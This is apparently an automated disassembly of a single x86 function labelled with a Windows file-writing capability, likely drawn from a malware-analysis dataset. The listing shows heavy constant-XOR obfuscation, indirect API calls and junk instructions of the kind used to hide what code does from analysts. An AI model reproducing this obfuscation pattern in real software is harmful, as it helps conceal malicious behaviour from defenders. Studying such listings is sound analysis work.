Function at 0x403454
Capabilities:
Write file on windows

Disassembly:
pop edi
xor esi, edi
add esp, 0xfffffffc
mov eax, 0
xor eax, esp
loopne 0x4033ab
invalid
pop edi
cmp edi, 0
jne 0x4034cc
mov ebx, 0x7475fcc1
xor ebx, 0x2cc5cc55
mov edx, 0x1b0198c9
mov ecx, 0x1909d8e1
xor ecx, edx
xor ebx, ecx
xor eax, eax
add eax, ebx
mov edi, 0xffffffff
xor eax, edi
and eax, 0x53478f8d
pop dword [edi + 0x53]
and ebx, 0xacb87072
or ebx, eax
mov esi, ebx
add esp, 0xfffffffc
mov dword [esp], esi
pop edi
mov eax, 0x3bd82c82
mov esi, 0x309b9d2c
xor esi, eax
mov eax, 0x54fb606f
xor esi, eax
mov eax, esi
add esp, 0xfffffffc
mov dword [esp], eax
mov eax, 0x30240401
mov ebx, 0xa0ac220
or cl, byte [edx]
xor eax, ebx
push eax
mov edi, 0x493d53e6
xor edi, 0x2cce3073
pop esi
xor edi, esi
pop edx
xor edi, edx
mov ebx, 0
xor ebx, edi
add esp, 0xfffffffc
mov dword [esp], ebx
mov esi, 0x633f6f60
xor esi, 0x71e5336d
mov edi, 0x55b3646b
mov eax, 0x5491852
xor eax, edi
xor eax, esi
mov edx, 0x41080498
mov ebx, 0x22008002
xor edx, ebx
mov ebx, 0x2df614d
xor edx, ebx
xor edx, 0x41d7a097
xor eax, edx
add esp, 0xfffffffc
xor esi, esi
add esi, esp
mov dword [esi], eax
mov esi, 0x602f0d88
pushal
xor esi, 0x12ddeb39
push esi
mov eax, 0x4190000
mov esi, 0x32002081
xor eax, esi
pop ebx
xor eax, ebx
mov esi, eax
add esp, 0xfffffffc
mov dword [esp], esi
mov edx, 0xf5fca6b
xor edx, 0x144266bb
inc edx
adc al, 0x89
salc
xor esi, 0xffffffff
and esi, 0x3e8605a3
and edx, 0xc179fa5c
or edx, esi
pop edi
xor edx, edi
xor esi, esi
add esi, edx
add esp, 0xfffffffc
mov dword [esp], esi
mov eax, 0x4fde72f3
xor eax, 0x5f9e72f3
push 0x5fb0ad71
mov esi, 0x5fa03d71
pop edi
xor esi, edi
xor eax, esi
mov esi, 0x365b88a2
xor esi, 0x5ac28a1a
push esi
mov esi, 0x13c011a6
mov edx, 0x7e797f1e
xor edx, esi
pop ebx
xor edx, ebx
xor eax, edx
xor esi, esi
add esi, eax
mov edi, esi
push edi
mov esi, 0xd289065
mov ebx, 0x72100b92
xor esi, ebx
mov edx, 0x2fb7ebb4
xor esi, edx
xor esi, 0x1cf2b3dd
add esp, 0xfffffffc
mov ebx, esp
mov dword [ebx], esi
mov edi, 0x1723f3ea
xor edi, 0x285b37f9
mov edx, edi
xor edx, 0xffffffff
and edx, 0x127672cf
and edi, 0xed898d30
or edi, edx
pop eax
xor edi, eax
mov edx, 0
xor edx, edi
add esp, 0xfffffffc
mov dword [esp], edx
mov ebx, 0x4683b20
mov edx, 0x6304c490
xor ebx, edx
push ebx
push 0x26f90f1
mov ecx, 0x65036f41
pop edi
xor ecx, edi
pop esi
xor ecx, esi
xor ecx, esp
mov edx, 0x20204d41
mov eax, 0x8499214
xor edx, eax
mov esi, 0x5be24042
xor esi, 0x738b9f17
xor esi, edx
mov ebx, 0x2ae2337f
xor ebx, 0x76bca27b
mov eax, 0x7a43fb8e
mov edi, 0x261d6a8e
xor edi, eax
xor edi, ebx
xor esi, edi
add esp, 0xfffffffc
mov eax, esp
mov ebx, eax
mov dword [ebx], esi
add esp, 0xfffffffc
push 0x5ce8e3f1
mov esi, 0x5ce8e3f1
pop edx
xor esi, edx
xor esi, esp
mov dword [esi], ecx
add ecx, 8
push ecx
pop ebx
mov esi, ebx
mov edx, esi
mov edi, 0
xor edi, edx
add esp, 0xfffffffc
mov dword [esp], edi
push 0x1eb39fe
mov ebx, 0x94bf9bf
pop edi
xor ebx, edi
mov edi, 0x68e57290
mov esi, 0x5ae17690
xor esi, edi
xor ebx, esi
mov edi, ebx
add esp, 0xfffffffc
mov dword [esp], edi
mov eax, 0x20000400
mov edi, 0x8200001
xor eax, edi
mov esi, 0x844000
mov edi, 0x12008040
xor esi, edi
xor eax, esi
pop edx
xor eax, edx
add esp, 0xfffffffc
push esp
pop esi
mov dword [esi], eax
mov edx, 0x10408000
mov edi, 0x40000004
xor edx, edi
mov esi, 0xbc70379
xor esi, 0x2b555211
xor edx, esi
mov ecx, 0x1c19dfef
xor ecx, 0x23f7cb0f
mov edi, ecx
xor edi, 0xffffffff
and edi, 0x4f7c17ac
and ecx, 0xb083e853
or ecx, edi
xor ecx, edx
call dword [ecx]
add esp, 0x14
mov edi, 0x20009001
mov edx, 0x442a8
xor edi, edx
mov eax, edi
xor eax, 0xffffffff
and eax, 0x2168393d
and edi, 0xde97c6c2
or edi, eax
mov edx, edi
push edx
push 0x1934f47a
mov ebx, 0x193cf4f6
pop edx
xor ebx, edx
mov esi, 0x202200
mov edx, 0x1041800
xor esi, edx
xor ebx, esi
pop ecx
xor ebx, ecx
call dword [ebx]
push 0x60cadd1d
mov ecx, 0x4a82720b
pop edx
xor ecx, edx
mov edx, 0x3ef2056c
xor ecx, edx
add esp, 0xfffffffc
mov edx, esp
mov dword [edx], ecx
mov eax, 0x20860000
mov ecx, 0x40410840
xor eax, ecx
mov ecx, 0x57e151ff
xor eax, ecx
xor eax, 0x73239f6d
pop ebx
xor eax, ebx
call 0x40316e
push 0x34b8fc66
mov edi, 0x70295b3f
pop edx
xor edi, edx
mov ebx, 0x41112048
mov edx, 0x4c88031
xor ebx, edx
xor ebx, edi
push 0x38b49176
mov edi, 0x38f6bb9e
pop esi
xor edi, esi
push edi
mov esi, 0x2c1146b2
mov ecx, 0x20407c52
xor ecx, esi
pop edx
xor ecx, edx
xor ebx, ecx
add esp, 0xfffffffc
mov edx, esp
mov dword [edx], ebx
jmp 0x4034cc